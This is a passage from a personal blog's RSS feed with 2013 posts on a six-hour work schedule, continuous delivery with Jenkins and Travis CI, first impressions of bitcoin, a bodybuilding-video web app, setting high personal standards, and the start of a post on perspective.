&lt;p>After my six hours of work are up, I have free time until I go to bed. Since
starting my new schedule, I&amp;rsquo;ve used this time for a variety of things.&lt;/p>
&lt;p>I&amp;rsquo;d say that so far, about 50% of my &lt;em>free time&lt;/em> has been spent continuing my
work on various things &amp;ndash; sometimes this means doing Google Hangouts with
co-workers, sometimes this means hacking on interesting bits of code, and
sometimes it just means reducing technical debt.&lt;/p>
&lt;p>With the rest of my time, I&amp;rsquo;ve done a mix of different things:&lt;/p>
&lt;ul>
&lt;li>Go for a long bike ride with my wife. We just got new bikes, so this is
pretty high up on the list.&lt;/li>
&lt;li>Cook dinner and watch a movie. This is really relaxing, especially after
spending all day being productive. Sometimes I just need to completely &lt;em>zone
out&lt;/em> for a couple of hours and recuperate on the couch.&lt;/li>
&lt;li>Spend time writing or reading. Most of this article was written last night
after work.&lt;/li>
&lt;li>Hacking on my side projects.&lt;/li>
&lt;/ul>
&lt;p>In the future, I&amp;rsquo;d like to shift things around such that after my six hours of
work are finished, I&amp;rsquo;m done for the day and will instead do other fun things. I
think this would be a good way for me to avoid burning out in the long term, as
I spend a ton of time and energy working, and six hours of solid, focused work
seems like the upper limit of what I&amp;rsquo;m currently able to handle per day.&lt;/p>
&lt;h2 id="results">Results&lt;/h2>
&lt;p>So far, I&amp;rsquo;ve really enjoyed my new schedule. At this point in time, it&amp;rsquo;s clear
that adhering to a strict schedule has greatly boosted my productivity,
increased my day to day happiness, and made me feel a lot more awesome.&lt;/p>
&lt;p>The downsides so far have been that I&amp;rsquo;ve been more inaccessible to my wife, and
less flexible with free time &amp;ndash; but I think that over time, this will improve as
both of us will get used to the new schedule, and find better ways to maximize
our free time together.&lt;/p>
&lt;p>So for now, the experiment has been a huge success. I&amp;rsquo;ll report back in the
next several weeks after my first month is finished up, and I&amp;rsquo;m able to better
evaluate the overall results.&lt;/p>
&lt;p>Got any questions? Feel free to &lt;a href="mailto:r@rdegges.com" title="Randall Degges' Email">shoot me an email&lt;/a>.&lt;/p></description></item><item><title>CD</title><link>https://rdegges.com/2013/cd/</link><pubDate>Tue, 14 May 2013 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2013/cd/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2013/cd/tron-light-cycle-sketch.jpg" alt="Tron Light Cycle Sketch" title="Tron Light Cycle Sketch">
&lt;/p>
&lt;p>There are certain practices every programmer learns at one point or another,
which greatly improve their productivity. All the best productivity hacks for
programmers are obvious things (in retrospect), but sometimes having them
explained to you and presented in a direct way will trigger the &lt;em>Oh yeah! I
should be doing that!&lt;/em> light bulb which eventually leads you to implementing
these practices.&lt;/p>
&lt;p>Continuous Delivery (&lt;a href="https://en.wikipedia.org/wiki/Continuous_delivery" title="Continuous Delivery">CD&lt;/a>) is one of those practices.&lt;/p>
&lt;p>When I first &lt;em>learned&lt;/em> about CD (via &lt;a href="http://www.amazon.com/gp/product/020161622X/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=020161622X&amp;amp;linkCode=as2&amp;amp;tag=rdegges-20%5D" title="The Pragmatic Programmer on Amazon">The Pragmatic Programmer&lt;/a>), the light
bulb clicked in my head. While the concept is certainly not &lt;em>special&lt;/em> in any
way &amp;ndash; after all, everyone knows and understands that automatically deploying
code you write into production is something that&amp;rsquo;s possible &amp;ndash; it never really
hit home to me as being incredibly useful until I read the book and got the
full concept explained to me in simple terms.&lt;/p>
&lt;p>CD is something every programmer should be using 100% of the time, without
exception.&lt;/p>
&lt;h2 id="preface">Preface&lt;/h2>
&lt;p>From the time I first learned about CD (~4 years ago) until last week, I
honestly never thought I&amp;rsquo;d be writing about the subject. When I first learned
about the concept of deploying your code automatically into production, it
immediately seemed obvious to me why this was such a great idea, and I never
even questioned in afterwards.&lt;/p>
&lt;p>The concept seemed so simple that I figured everyone &lt;em>except&lt;/em> for me must have
known this all along, and that there was never a reason to share the practice
with anyone else since it&amp;rsquo;s so obvious (in retrospect).&lt;/p>
&lt;p>It wasn&amp;rsquo;t until last week when I was working on a small work project, without
practicing CD, that I realized how annoying programming without CD is, and how
important it is that every programmer know about (and practice) CD for all
their projects, all the time.&lt;/p>
&lt;p>With that said, here we go :)&lt;/p>
&lt;h2 id="continuous-delivery">Continuous Delivery&lt;/h2>
&lt;p>The concept of CD is simple: each time you write code, it is deployed
automatically into your production environment.&lt;/p>
&lt;p>This can mean a lot of things (so I&amp;rsquo;ll elaborate).&lt;/p>
&lt;p>Let&amp;rsquo;s say you&amp;rsquo;re writing a web application and using &lt;a href="http://git-scm.com/" title="Git">Git&lt;/a> to store your
source code. If you wanted to start using CD, you&amp;rsquo;d need to set up your
environment such that each time you push code to your Git repository, that code
is automatically deployed to your web servers so that your new code is running
live.&lt;/p>
&lt;p>Let&amp;rsquo;s say you&amp;rsquo;re writing some desktop software, something like iTunes &amp;ndash; In
this case, CD might mean that every time you push new changes of your code to
your Git repository, a new binary of your software is built, and distributed to
your download servers, such that all customers who are checking for updates
will automatically download the latest release.&lt;/p>
&lt;p>Regardless of the type of software you&amp;rsquo;re writing, CD has several enormous
benefits that will help you become a better (more productive) programmer.&lt;/p>
&lt;h3 id="dont-break-the-build">Don&amp;rsquo;t Break the Build&lt;/h3>
&lt;p>One of the most obvious benefits of using CD is that it forces you to &lt;em>not break
the build&lt;/em>. This is something that (horrifyingly) seems to happen in
programming projects all over the world, which can (for the most part) be
easily solved with CD.&lt;/p>
&lt;p>Let&amp;rsquo;s say you&amp;rsquo;re working on a project with three other developers. Your goal is
to add a couple of features to the company website. Each of you starts working
on one feature.&lt;/p>
&lt;p>You notice that one of the developers has been pushing lots of code to your
&lt;a href="https://github.com/" title="GitHub">GitHub&lt;/a> repository, but that all of his commits are breaking the main
website. This is causing problems for you, as before you can push your changes
to GitHub, you have to merge his unfinished (broken) changes into your code,
which makes you unable to test your changes out to see if they&amp;rsquo;re working or
not.&lt;/p>
&lt;p>&lt;em>Frustrating.&lt;/em>&lt;/p>
&lt;p>When you&amp;rsquo;re using CD, pushing broken code to your repository is unacceptable, as
these changes will be immediately deployed live (for the world to see!).&lt;/p>
&lt;p>Imagine running an enormous website and pushing a change that crashes the site
and prevents you from getting 500,000 new visitors &amp;ndash; &lt;em>that&amp;rsquo;s a huge mistake&lt;/em>!&lt;/p>
&lt;p>Using CD forces you to make small, functional, incremental changes to your
code base. Not only will this practice ensure your code base is &lt;em>always&lt;/em> in a
usable, working state, it will greatly improve the overall quality of your
project, reduce frustration in team settings, and force you to improve your
programming skills by always keeping your code base in working condition.&lt;/p>
&lt;p>Maintaining a working code base is hard work! But it&amp;rsquo;s fun, challenging, and
extremely useful to all involved.&lt;/p>
&lt;h3 id="less-shit-work">Less Shit Work&lt;/h3>
&lt;p>Last week, I started working on a small project for work. Specifically, I was
writing a web scraper which iterates over millions of web pages and downloads
the content in structured form.&lt;/p>
&lt;p>When I started the project, I was aiming to get things going as quickly as
possible, and so, for the first time in a long while, I decided to just start
hacking the code locally on my laptop and ignore all the other stuff I normally
do (setting up CD, etc.).&lt;/p>
&lt;p>Once I had a very basic program in working order, I created an &lt;a href="https://aws.amazon.com/ec2/" title="Amazon EC2">EC2&lt;/a> server to
run my code, logged into the server, copied my new code over to the server, and
started running the scraper.&lt;/p>
&lt;p>All was good! &amp;hellip; Until the next day.&lt;/p>
&lt;p>The next day I realized I had forgotten to do some important type conversions &amp;ndash;
the latitude and longitude data points I was scraping were being stored as
strings, which ended up feeding poor data into my consuming applications.&lt;/p>
&lt;p>So, naturally, I:&lt;/p>
&lt;ul>
&lt;li>Went back onto my laptop and fixed the issue.&lt;/li>
&lt;li>Tested the change on my laptop.&lt;/li>
&lt;li>Opened up the EC2 web console to find the server credentials.&lt;/li>
&lt;li>Logged into the server I provisioned the day before.&lt;/li>
&lt;li>Manually copied my updated code over onto the server.&lt;/li>
&lt;li>Stopped the running copy of the old web scraper.&lt;/li>
&lt;li>Ran my new web scraper code.&lt;/li>
&lt;li>Logged out of the server.&lt;/li>
&lt;/ul>
&lt;p>All in all, that took about 45 minutes, 20 of which were spent moving my code
from my laptop back to the server and re-running my web scraper (and then making
sure it didn&amp;rsquo;t crash).&lt;/p>
&lt;p>Over the next several days, I ended up making several more changes to my web
scraper, each time requiring me to spend about 20 minutes deploying my code to
the server manually.&lt;/p>
&lt;p>After the 5th day of this, I was dreading making anymore changes to the project.
It was then that I remembered one of the golden rules of software development:
&lt;em>use CD&lt;/em>!&lt;/p>
&lt;p>30 minutes later I had configured my CD software, &lt;a href="http://jenkins-ci.org/" title="Jenkins CI">Jenkins&lt;/a>, to automatically
deploy my code every time I pushed changes to the project. &lt;em>What a relief.&lt;/em>&lt;/p>
&lt;p>The rest of the week was a &lt;em>lot&lt;/em> nicer. In just 30 minutes I had automated 4
hours of manual labor &amp;ndash; that&amp;rsquo;s a lot of time to save (for just 5 days of
work!). Imagine how much time you can save using CD if your project is being
developed for weeks &amp;ndash; or months!&lt;/p>
&lt;p>In addition to the removal of a lot of shit work from your day, you&amp;rsquo;re also
freeing your mind up for more important tasks.&lt;/p>
&lt;p>As I was working on my project, even though I spent about 20 minutes deploying
my code each time I made a change &amp;ndash; the reality is that those 20 minutes of
wasted time were probably more like an hour. Each time I went to manually
deploy my new code I had to get &lt;em>out of the flow&lt;/em> of my work to do the
deployment, then had to spend some time afterwards to get back &lt;em>into the zone&lt;/em>
and resume whatever important task I was working on next.&lt;/p>
&lt;p>Over the past 4 years or so, using CD in my projects has likely saved me from
thousands of hours of shit work, and greatly increased my personal productivity
on a day to day basis.&lt;/p>
&lt;h3 id="clear-value">Clear Value&lt;/h3>
&lt;p>Another (more public) benefit of using CD in your projects is that you&amp;rsquo;re able
to clearly deliver value to whatever stakeholders you may have.&lt;/p>
&lt;p>If you&amp;rsquo;re building a project that customers use, for instance, each time you
push changes to your code your customers will see the fruits of your labor. Not
only will they be seeing the value for which they&amp;rsquo;re paying you quicker, but
they&amp;rsquo;ll likely be more engaged with your product as they can see it evolve right
before their eyes.&lt;/p>
&lt;p>If you&amp;rsquo;re doing freelance work, using CD is an excellent way to clearly show
your customers exactly what they&amp;rsquo;re paying for, and help prevent frequent
&lt;em>update meetings&lt;/em> which are primarily a drain on time (for everyone involved).&lt;/p>
&lt;h2 id="continuous-delivery-suggestions">Continuous Delivery Suggestions&lt;/h2>
&lt;p>We&amp;rsquo;ve talked about why CD is great, and &lt;em>hopefully&lt;/em> I&amp;rsquo;ve convinced you to start
practicing CD with all your projects. If you&amp;rsquo;ve never before set up any CD
software, you&amp;rsquo;re likely curious about how to do so &amp;ndash; so let&amp;rsquo;s talk about that.&lt;/p>
&lt;h3 id="software-choices">Software Choices&lt;/h3>
&lt;p>You&amp;rsquo;ve got a lot of different options out there when it comes to setting up CD
for your projects.&lt;/p>
&lt;p>At the simple end of the spectrum, your source control software probably
supports simple hooks (for instance: &lt;a href="http://git-scm.com/book/ch7-3.html" title="Git Hooks">Git Hooks&lt;/a>). Stuff like this will allow
you to write a small script that will fire each time you commit code to your
repository &amp;ndash; a great (simple) way to ensure that every time you push code, your
code is deployed live.&lt;/p>
&lt;p>The downside to using simple hooks described above is that they&amp;rsquo;ll frequently
slow down your work &amp;ndash; if I had to wait 5 minutes for my software to deploy each
time I committed code, I&amp;rsquo;d go insane!&lt;/p>
&lt;p>A slightly more complicated (but not by much) approach is to use a service like
&lt;a href="https://travis-ci.org/" title="Travis CI">Travis CI&lt;/a>. Travis will automatically download your projects every time you
commit code, and then run a script to do stuff (usually run your unit tests,
etc.). This gives you a relatively simple (free) way to deploy your code live
after each commit. Neil Middleton wrote a &lt;a href="http://www.neilmiddleton.com/deploying-to-heroku-from-travis-ci/" title="Deploying to Heroku from Travis CI">great post&lt;/a> on the topic which you
can use as a guide.&lt;/p>
&lt;p>At the end of the spectrum, you&amp;rsquo;ve got open source options like &lt;a href="http://jenkins-ci.org/" title="Jenkins CI">Jenkins&lt;/a>. If
you&amp;rsquo;d like to privately deploy code in as asynchronous a manner as possible,
Jenkins really can&amp;rsquo;t be beat.&lt;/p>
&lt;p>To use Jenkins, you&amp;rsquo;ll need to install it on a server, then use the Jenkins web
interface to add each of your projects and configure them. Much like Travis CI,
Jenkins will download your code after each commit, and then run arbitrary
commands on your code to run tests, deploy it, etc.&lt;/p>
&lt;p>For all my work, I tend to use Jenkins to automatically deploy my projects, as
it&amp;rsquo;s cheap (free), reliable, and easy to configure.&lt;/p>
&lt;h3 id="other-resources">Other Resources&lt;/h3>
&lt;p>If you&amp;rsquo;re looking for other resources which talk about CD in depth, you may want
to give the following books a read &amp;ndash; they&amp;rsquo;re extremely great books, and I&amp;rsquo;d
highly recommend them to any software developer who hasn&amp;rsquo;t already read them:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="http://www.amazon.com/gp/product/020161622X/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=020161622X&amp;amp;linkCode=as2&amp;amp;tag=rdegges-20%5D" title="The Pragmatic Programmer on Amazon">The Pragmatic Programmer&lt;/a>&lt;/li>
&lt;li>&lt;a href="http://www.amazon.com/gp/product/0321601912/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=0321601912&amp;amp;linkCode=as2&amp;amp;tag=rdegges-20" title="Continuous Delivery on Amazon">Continuous Delivery&lt;/a>&lt;/li>
&lt;li>&lt;a href="http://www.amazon.com/gp/product/1849693684/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=1849693684&amp;amp;linkCode=as2&amp;amp;tag=rdegges-20" title="Continuous Delivery and DevOps on Amazon">Continuous Delivery and DevOps&lt;/a>&lt;/li>
&lt;li>&lt;a href="http://www.amazon.com/gp/product/0321336380/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=0321336380&amp;amp;linkCode=as2&amp;amp;tag=rdegges-20" title="Continuous Integration on Amazon">Continuous Integration&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>While the concept of continuous delivery is a simple one, it&amp;rsquo;s an extremely
practical, simple, and useful tool that every programmer should have in their
arsenal. The next time you start a project, be sure to get continuous delivery
working from the very beginning, and save yourself from a lot of wasted time.&lt;/p></description></item><item><title>Some Thoughts on Bitcoin</title><link>https://rdegges.com/2013/some-thoughts-on-bitcoin/</link><pubDate>Sun, 28 Apr 2013 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2013/some-thoughts-on-bitcoin/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2013/some-thoughts-on-bitcoin/thinking-mask-sketch.jpg" alt="Thinking Mask Sketch" title="Thinking Mask Sketch">
&lt;/p>
&lt;p>Last month I started actually &lt;em>using&lt;/em> bitcoin for the first time. I&amp;rsquo;ve used it
in the past, but never had any serious interest in the stuff until recently.
Since I&amp;rsquo;m a relatively new bitcoin user (and software developer), I thought I&amp;rsquo;d
share my thoughts about bitcoin at this early stage, for any of you with similar
backgrounds and interest in bitcoin.&lt;/p>
&lt;h2 id="why-i-decided-to-give-it-a-try">Why I Decided to Give it a Try&lt;/h2>
&lt;p>I&amp;rsquo;ve been hearing about bitcoin since it was first mentioned way back in 2009.
At the time, I read some of the introductory articles explaining bitcoin (what
it was, how it worked, etc.), but almost immediately dismissed it as a passing
fad until sometime around 2010 when a lot of my programmer friends started
using bitcoin as a hobby and urging me to try it out.&lt;/p>
&lt;p>After a month or so of hearing about it from friends, I downloaded the official
bitcoin client and gave it go, but had a really difficult time figuring out how
to use bitcoin for anything practical, how to back up my wallet, and a bunch of
other things. If I remember correctly &amp;ndash; I mined bitcoin for a short time then
abruptly stopped using bitcoin and lost interest &amp;ndash; until last month.&lt;/p>
&lt;p>What really inspired me to give bitcoin another try was all the recent tech
interest in bitcoin. Over the past several months I&amp;rsquo;ve read countless articles
on bitcoin, seen a wide variety of new companies sprouting up offering bitcoin
services, and have heard more and more about bitcoin from strangers who are not
only using bitcoin for hobby purposes, but as a real alternate currency.&lt;/p>
&lt;p>So, I decided to give it another go.&lt;/p>
&lt;h2 id="my-experience-getting-started">My Experience Getting Started&lt;/h2>
&lt;p>Getting started with bitcoin last month was a &lt;em>lot&lt;/em> easier than it was back in
2010 when I tried it initially.&lt;/p>
&lt;p>The first thing I did was visit the &lt;a href="http://bitcoin.org/en/" title="Bitcoin Website">official bitcoin website&lt;/a> and download
the official &lt;a href="http://bitcoin.org/en/download" title="Bitcoin-Qt">Bitcoin-Qt&lt;/a> wallet program, which allows you to send and receive
bitcoin from a variety of addresses.&lt;/p>
&lt;p>After getting this set up, I created a new bitcoin address through the client
UI, and started my first Google search for &lt;em>free bitcoin&lt;/em> :) My reasoning at
the time was that: I&amp;rsquo;m still not sure whether I&amp;rsquo;m going to actually be using
bitcoin for anything, so why bother spending money on the stuff? Might as well
see if there&amp;rsquo;s a way to get a few free bitcoin and play around with the system.&lt;/p>
&lt;p>Unfortunately, this is where things went from &lt;em>good&lt;/em> to &lt;em>messy&lt;/em>. Most of the
sites I found under the &lt;em>free bitcoin&lt;/em> search phrase were filled with ads,
scammy popups, and a variety of other eyesores that led me to question their
legitimacy. After a couple of hours scouring the internet, I learned that this
is actually extremely common, and most of the &lt;em>free bitcoin&lt;/em> sites are
essentially ad farms that pay you microscopic amounts of bitcoin in hopes that
you&amp;rsquo;ll eventually miss a click and hit one of their ads.&lt;/p>
&lt;p>So, after figuring out that these sites were, in fact, legitimate &amp;ndash; I ended up
getting my very first bitcoin payment (worth fractions of a cent), from:
&lt;a href="http://dailybitcoins.org/index.php?aff=edcd9fb07dcd67c574bee2b1c26ec781" title="Daily Bitcoins">Daily Bitcoins&lt;/a>, one of the more reputable free bitcoin sites &amp;ndash; all I had to
do was fill out a captcha check and wait a few hours!&lt;/p>
&lt;p>Over the next few days I read more about bitcoin, found more of the legitimate
free bitcoin sites, and filled out a ton of captcha checks to see deposits come
in &amp;ndash; it was actually pretty fun.&lt;/p>
&lt;h2 id="attempting-to-buy-bitcoin">Attempting to Buy Bitcoin&lt;/h2>
&lt;p>After I had some free bitcoin in my wallet, I decided to purchase a couple of
real bitcoin. Unfortunately, this process was not nearly as easy as I thought
it would be.&lt;/p>
&lt;p>I had assumed that since bitcoin had become so popular over the past couple of
years, there would be plenty of easy ways to buy (and sell) bitcoin without a
hassle &amp;ndash; how wrong I was.&lt;/p>
&lt;p>The first thing I tried was using &lt;a href="https://mtgox.com/" title="Mt. Gox Bitcoin Exchange">Mt. Gox&lt;/a>, one of the largest (and oldest)
bitcoin exchanges. Unfortunately, after I created an account I was greeted with
two big hurdles to overcome:&lt;/p>
&lt;ul>
&lt;li>An enormous red message telling me I must verify my account before I can use
the service,&lt;/li>
&lt;li>An incredibly time consuming (and privacy destroying) process of entering my
social security number, birthday, photos of my driver&amp;rsquo;s license, and a bunch
of other documentation as well. If I hadn&amp;rsquo;t been referred to Mt. Gox as being
the largest and most reliable bitcoin exchange, I would have certainly figured
it was a scam to get personal information.&lt;/li>
&lt;/ul>
&lt;p>Once I filled out their lengthy verification process, I was then informed it
could take anywhere up to 10 business days to have my account manually verified,
and that I couldn&amp;rsquo;t use the service until the process was completed. Boo :(&lt;/p>
&lt;p>So, instead of going that route, I created an account with a new bitcoin
exchange I had recently heard about (backed by &lt;a href="https://news.ycombinator.com/" title="YCombinator">ycombinator&lt;/a>): &lt;a href="https://coinbase.com/" title="Coinbase">Coinbase&lt;/a>.&lt;/p>
&lt;p>Coinbase allowed me to buy bitcoin almost instantly after creating an account,
by simply verifying my bank account. Once that processed was finished (it only
took a few minutes), I put in an order for 3 bitcoin, and was greeted with a
friendly message telling me my order had been placed, and the bitcoin would be
in my account within 7 days (apparently Coinbase operates off some internal
delay for reasons of which I&amp;rsquo;m not aware).&lt;/p>
&lt;p>A week later, I had my three bitcoin :)&lt;/p>
&lt;h2 id="playing-with-bitcoin">Playing With Bitcoin&lt;/h2>
&lt;p>After I got a few bitcoin, and played around with some of the sites and services
available, I immediately wanted to build some applications that use bitcoin (in
some way) to get a better feel for the currency. While I still haven&amp;rsquo;t really
accomplished this goal (you&amp;rsquo;ll see what I mean below), I have gotten a lot more
familiar with the usage of bitcoin, and its properties for developers.&lt;/p>
&lt;p>The first project I built was a command line bitcoin interface, &lt;a href="http://rdegges.github.io/btc/" title="btc - Command Line Bitcoin Client">btc&lt;/a>, which
uses Coinbase&amp;rsquo;s official API and allows users to buy, sell, and transfer bitcoin
in their terminal.&lt;/p>
&lt;p>I use the command line all the time, so I figured this would be a good small
project to take on to help me get more acquainted with bitcoin usage, and fill a
software void at the same time.&lt;/p>
&lt;p>The next tool I built was a very simple website:
&lt;a href="http://www.bestfreebitcoin.com/" title="Best Free Bitcoin">http://www.bestfreebitcoin.com/&lt;/a>, which is essentially just a curated list
of the best free bitcoin sites that allow you to earn bitcoin for doing work, or
filling out captcha checks. Since I had such a hard time finding this stuff as
a new bitcoin user myself, I thought other new users might find it helpful as
well.&lt;/p>
&lt;p>While I&amp;rsquo;ve still got some other bitcoin services I&amp;rsquo;d like to build in the near
future, I&amp;rsquo;ve learned quite a bit through playing around with existing services,
building some simple ones myself, and getting more involved in the bitcoin
community over the past few weeks.&lt;/p>
&lt;h2 id="my-overall-impression-of-bitcoin">My Overall Impression of Bitcoin&lt;/h2>
&lt;p>After using bitcoin (buying, selling, and purchasing services with it) for a
little over a month, I&amp;rsquo;ve come to like bitcoin.&lt;/p>
&lt;p>While it certainly isn&amp;rsquo;t ready for mass market consumer usage due to lack of
services and supporting tools, it&amp;rsquo;s definitely reached a point where the
currency is usable (clearly has value, has lots of press attention, is gaining
adoption, etc.), and it looks like it will be around for a long time.&lt;/p>
&lt;p>While I can&amp;rsquo;t predict the future, if I had to guess, I&amp;rsquo;d guess that in the next
couple of years there will be an enormous amount of growth around the bitcoin
ecosystem: new companies, simpler services, and more mainstream usage.&lt;/p>
&lt;p>I can certainly envision a future in which a majority of people (at least in the
US) are familiar with bitcoin, and have at least a small amount of bitcoin
currency which they use for making online purchases, as using bitcoin to make
online purchases reduces a lot of the complexity associated with making online
payments now (PCI compliance, etc.).&lt;/p></description></item><item><title>motivation.io</title><link>https://rdegges.com/2013/motivation-io/</link><pubDate>Tue, 16 Apr 2013 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2013/motivation-io/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2013/motivation-io/thor-sketch.jpg" alt="Thor Sketch" title="Thor Sketch">
&lt;/p>
&lt;p>A couple of weeks ago, my friend &lt;a href="http://zaidox.com/" title="Alven Diaz">Alven&lt;/a> and I built a small webapp together
that I wanted to share with you today: &lt;a href="http://www.motivation.io/" title="motivation.io - Motivational Bodybuilding Videos">motivation.io&lt;/a>.&lt;/p>
&lt;p>The idea behind &lt;a href="http://www.motivation.io/" title="motivation.io - Motivational Bodybuilding Videos">motivation.io&lt;/a> is simple: when I go workout at the gym and
lift weights, it requires a lot of effort and energy. What I like to do before
I go to the gym is open &lt;a href="http://www.youtube.com/" title="YouTube">YouTube&lt;/a>, search for &lt;em>bodybuilding motivation&lt;/em>, and
then watch a video or two to get myself pumped up for the gym.&lt;/p>
&lt;p>While this has been working great for the past two years or so, it gets tedious
after a while. It&amp;rsquo;s hard to find fresh videos that are of decent quality, and
it adds an extra minute or two onto my daily pre-workout ritual.&lt;/p>
&lt;p>&lt;a href="http://www.motivation.io/" title="motivation.io - Motivational Bodybuilding Videos">motivation.io&lt;/a> solves this problem for me. When you visit the site, it
randomly plays a high quality (hand selected) weight lifting video to get you
pumped up. Want to watch a few? No problem, after the current video ends
it&amp;rsquo;ll load up another video random, for as long as you want. As long as the
device you&amp;rsquo;re on can play &lt;a href="http://www.youtube.com/" title="YouTube">YouTube&lt;/a> videos, you should have no problem
getting it to work on your laptop, mobile phone, etc.&lt;/p>
&lt;p>Anyhow, if you&amp;rsquo;re into lifting weights, give &lt;a href="http://www.motivation.io/" title="motivation.io - Motivational Bodybuilding Videos">motivation.io&lt;/a> a try and &lt;a href="mailto:r@rdegges.com" title="Randall Degges' Email">let me
know what you think&lt;/a>!&lt;/p></description></item><item><title>High Standards</title><link>https://rdegges.com/2013/high-standards/</link><pubDate>Mon, 01 Apr 2013 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2013/high-standards/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2013/high-standards/samurai-tipping-hat-sketch.jpg" alt="Samurai Tipping Hat Sketch" title="Samurai Tipping Hat Sketch">
&lt;/p>
&lt;p>While I&amp;rsquo;m not one to advocate many personal development &lt;em>hacks&lt;/em>, there is one
hack that I think everyone dedicated to personal growth and success should know
about: &lt;em>have high standards for yourself&lt;/em>.&lt;/p>
&lt;p>Unlike many of the other hacks you may read about, having high personal
standards will almost immediately force personal growth, and will help you live
up to your potential day after day &amp;ndash; it&amp;rsquo;s also &lt;em>really simple&lt;/em> to execute.&lt;/p>
&lt;h2 id="be-ruthless-with-yourself">Be Ruthless With Yourself&lt;/h2>
&lt;p>If you&amp;rsquo;re anything like me, although you enjoy improving yourself (mentally,
physically, whatever), you probably view yourself as a work in progress, and as
such, don&amp;rsquo;t think very highly of yourself.&lt;/p>
&lt;p>While being humble is certainly a great trait, it&amp;rsquo;s often misused. Simply
being humble and viewing yourself in a negative light won&amp;rsquo;t help you achieve
personal growth &amp;ndash; if anything, it will slow your development.&lt;/p>
&lt;p>By constantly thinking down on yourself, you&amp;rsquo;re conditioning yourself to accept
lower standards and mediocrity &amp;ndash; the exact opposite of what you want to
accomplish. If you&amp;rsquo;d like to become a better person, you need to constantly
push yourself to achieve more, behave better, and learn to consistently
outperform past versions of yourself.&lt;/p>
&lt;p>One fool-proof way to aggressively pursue personal growth is to hold yourself
to a high set of personal standards &amp;ndash; then ruthlessly strive to live up to
your own expectations.&lt;/p>
&lt;p>As you continue to strive towards your high personal standards, you&amp;rsquo;ll make
quick gains that would have come slowly otherwise. I&amp;rsquo;ve found that when I&amp;rsquo;m
under pressure (from myself) to act or live up to a certain standard, it&amp;rsquo;s much
easier for me to accomplish my goals.&lt;/p>
&lt;h2 id="developing-standards">Developing Standards&lt;/h2>
&lt;p>If you&amp;rsquo;ve never formally listed what your personal goals are, you should take a
few minutes to do so now. Create a Google doc named &lt;em>Growth&lt;/em>, and make a list
of the following:&lt;/p>
&lt;ul>
&lt;li>Traits you&amp;rsquo;d ideally like to have.&lt;/li>
&lt;li>Ways you&amp;rsquo;d like to behave.&lt;/li>
&lt;li>People who you respect.&lt;/li>
&lt;/ul>
&lt;p>For instance, if you&amp;rsquo;d like to always live up to your word, you may want to
write something along the lines of:&lt;/p>
&lt;ul>
&lt;li>Honor my commitments, regardless of external factors.&lt;/li>
&lt;li>Carefully think things through before agreeing to do things.&lt;/li>
&lt;/ul>
&lt;p>Or, if you&amp;rsquo;d like to improve in a more physical way, set specific (and
difficult to reach) goals:&lt;/p>
&lt;ul>
&lt;li>Have 20-inch biceps, 40-inch quads, and 60-inch chest measurements.&lt;/li>
&lt;li>Run a mile in 5 minutes flat.&lt;/li>
&lt;li>Squat 1,000 lbs.&lt;/li>
&lt;/ul>
&lt;p>By clearly stating your goals and ideal behaviors, you set a clear precedent
for yourself to follow and live up to. From this point on, refer to your list
frequently to remind yourself what you&amp;rsquo;re aiming to accomplish, and why it
matters to you.&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: Keeping a list of people who inspire you, and who you respect, is
important because it motivates you to be more like those people you look up to
so much.&lt;/p>
&lt;h2 id="respect-yourself">Respect Yourself&lt;/h2>
&lt;p>Once you&amp;rsquo;ve clearly defined the person you want to become, working towards your
ideal self becomes that much easier. Respect yourself for striving to reach
difficult goals, and think highly of yourself as you work to better yourself.&lt;/p>
&lt;p>Having respect for yourself makes it easier for you to make difficult decisions.
We&amp;rsquo;re all defined by our actions, and those of us who have precise, measurable
goals and a sufficient quantity of self respect can more easily make the tough
decisions that either push us forward or pull us back.&lt;/p>
&lt;p>What will you do when you&amp;rsquo;re sitting at a restaurant with your friends and
you&amp;rsquo;re offered that sweet (by unhealthy) dessert? Will you eat it? Is that
what you&amp;rsquo;d ideally do? What would future you do in this situation? Which
decision will push you further towards your ideal self?&lt;/p>
&lt;p>Set high standards, ruthlessly pursue your goals, and respect yourself.&lt;/p>
&lt;p>Achieve great things, my friends.&lt;/p></description></item><item><title>It's All Perspective</title><link>https://rdegges.com/2013/its-all-perspective/</link><pubDate>Sun, 31 Mar 2013 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2013/its-all-perspective/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2013/its-all-perspective/buddha-sketch.jpg" alt="Buddha Sketch" title="Buddha Sketch">
&lt;/p>
&lt;p>A few days ago I wrote an article about &lt;a href="https://rdegges.com/2013/the-positive-programmer/" title="The Positive Programmer">being positive&lt;/a> that ended up
getting quite popular and generating a lot of reader email. Since then, I&amp;rsquo;ve
had the pleasure of chatting with numerous interesting people about positivity,
personal development, and the tremendous effect they can have on a person.&lt;/p>
&lt;p>One thing I heard from many people, however, was that they&amp;rsquo;ve been working on
maintaining a positive attitude, but they find it hard not get angry and
frustrated frequently. I figured that since so many people were having the
same problem, I&amp;rsquo;d use this article as an opportunity to share a story which
really changed my outlook on being positive.&lt;/p>
&lt;p>Before I begin, I&amp;rsquo;d like to quickly note that I&amp;rsquo;m not in any way religious, but
the story below contains quite a few truths.&lt;/p>
